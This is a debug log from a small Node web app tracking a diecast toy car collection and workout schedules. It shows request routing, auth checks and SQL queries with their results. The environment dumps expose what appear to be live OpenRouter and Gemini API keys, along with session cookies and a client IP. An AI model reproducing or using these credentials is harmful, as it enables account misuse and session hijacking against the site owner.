  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 4 },
  { series: 107, name: 'HW EV', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 }
]
2026-02-03T13:24:16.525Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-02-03T13:24:16.526Z server-connect:app Executing action step identify
2026-02-03T13:24:16.526Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:16.526Z server-connect:output identity: 1
2026-02-03T13:24:16.526Z server-connect:app Executing action step restrict
2026-02-03T13:24:16.526Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:24:16.527Z server-connect:output restrict: undefined
2026-02-03T13:24:16.528Z server-connect:app Executing action step custom
2026-02-03T13:24:16.528Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-03T13:24:16.530Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 72 },
  { brand_id: 72, name: 'Majorette', total: 23 },
  { brand_id: 73, name: 'Matchbox', total: 20 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 }
]
2026-02-03T13:24:25.852Z server-connect:router Serving templateView /workout
2026-02-03T13:24:25.853Z server-connect:app Executing action step identify
2026-02-03T13:24:25.853Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:25.853Z server-connect:output identity: 1
2026-02-03T13:24:25.853Z server-connect:app Executing action step restrict
2026-02-03T13:24:25.853Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T13:24:25.853Z server-connect:output restrict: undefined
2026-02-03T13:24:25.853Z server-connect:router Render template workout
2026-02-03T13:24:25.853Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T13:24:26.120Z server-connect:router Serving serverConnect /api/health/get-schedule
2026-02-03T13:24:26.120Z server-connect:app Executing action step identify
2026-02-03T13:24:26.121Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:26.121Z server-connect:output identity: 1
2026-02-03T13:24:26.121Z server-connect:app Executing action step restrict
2026-02-03T13:24:26.121Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:24:26.121Z server-connect:output restrict: undefined
2026-02-03T13:24:26.121Z server-connect:app Executing action step select
2026-02-03T13:24:26.121Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2026-02-03T13:24:26.123Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2026-02-03T13:24:29.584Z server-connect:router Serving templateView /diecast
2026-02-03T13:24:29.584Z server-connect:app Executing action step identify
2026-02-03T13:24:29.584Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:29.584Z server-connect:output identity: 1
2026-02-03T13:24:29.585Z server-connect:app Executing action step restrict
2026-02-03T13:24:29.585Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T13:24:29.585Z server-connect:output restrict: undefined
2026-02-03T13:24:29.585Z server-connect:router Render template diecast
2026-02-03T13:24:29.585Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T13:24:29.902Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:24:29.903Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:24:29.904Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:24:29.905Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:24:29.905Z server-connect:app Executing action step identify
2026-02-03T13:24:29.905Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:29.905Z server-connect:output identity: 1
2026-02-03T13:24:29.905Z server-connect:app Executing action step restrict
2026-02-03T13:24:29.905Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:24:29.906Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T13:24:29.906Z server-connect:output restrict: undefined
2026-02-03T13:24:29.906Z server-connect:app Executing action step select
2026-02-03T13:24:29.906Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:24:29.907Z server-connect:app Executing action step identify
2026-02-03T13:24:29.907Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:29.907Z server-connect:output identity: 1
2026-02-03T13:24:29.907Z server-connect:app Executing action step restrict
2026-02-03T13:24:29.907Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:24:29.907Z server-connect:app Executing action step identify
2026-02-03T13:24:29.907Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:29.907Z server-connect:output identity: 1
2026-02-03T13:24:29.907Z server-connect:app Executing action step restrict
2026-02-03T13:24:29.907Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:24:29.907Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T13:24:29.908Z server-connect:app Executing action step identify
2026-02-03T13:24:29.908Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:29.908Z server-connect:output identity: 1
2026-02-03T13:24:29.908Z server-connect:app Executing action step restrict
2026-02-03T13:24:29.908Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:24:29.909Z server-connect:app Executing action step identify
2026-02-03T13:24:29.909Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:29.909Z server-connect:output identity: 1
2026-02-03T13:24:29.909Z server-connect:app Executing action step restrict
2026-02-03T13:24:29.909Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:24:29.910Z server-connect:output restrict: undefined
2026-02-03T13:24:29.910Z server-connect:app Executing action step select
2026-02-03T13:24:29.910Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:24:29.911Z server-connect:output restrict: undefined
2026-02-03T13:24:29.911Z server-connect:app Executing action step paged
2026-02-03T13:24:29.911Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:24:29.912Z server-connect:output restrict: undefined
2026-02-03T13:24:29.912Z server-connect:app Executing action step select
2026-02-03T13:24:29.912Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:24:29.913Z server-connect:output restrict: undefined
2026-02-03T13:24:29.913Z server-connect:app Executing action step select
2026-02-03T13:24:29.913Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:24:29.914Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-03T13:24:29.915Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'Monte Carlo', id: 187 },
  { name: 'Road Runner', id: 188 },
  { name: 'RAM', id: 189 }
]
2026-02-03T13:24:29.916Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
